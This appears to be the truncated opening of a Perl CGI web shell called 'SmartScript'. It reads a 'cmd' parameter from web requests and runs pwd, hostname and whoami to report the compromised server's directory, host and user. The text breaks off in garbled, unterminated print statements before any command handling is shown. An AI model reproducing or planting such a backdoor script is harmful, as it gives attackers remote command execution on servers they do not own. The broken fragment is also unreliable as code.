#!/usr/local/bin/perl ############################# ### «-SmartScript-» ### ############################# use CGI qw(param); &parse_form; $cmd = param('cmd'); $cmd = $input{'cmd'}; $dir = `pwd`; $hst = `hostname`; $usr = `whoami`; $uri = $ENV{"SCRIPT_URI"}; chop($dir); chop($hst); chop($usr); print "Content-type: text/html\n\n"; print ""; print "
"; print "